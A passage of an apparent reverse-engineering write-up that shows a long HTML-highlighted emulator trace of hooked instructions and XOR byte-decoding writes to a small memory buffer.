class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x0D</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000429: mov esi, <span class="number">0</span>x13</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100042e: mov esi, <span class="number">0</span>xae4c415d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000456: cmp esi, <span class="number">0</span>x27</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000450]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x23</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000edd: mov esi, <span class="number">0</span>xc</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000ef7: cmp esi, <span class="number">0</span>x19</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ef1]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x34</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100070c: mov esi, <span class="number">0</span>x2d</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000711: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000727: cmp esi, <span class="number">0</span>x5b</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span 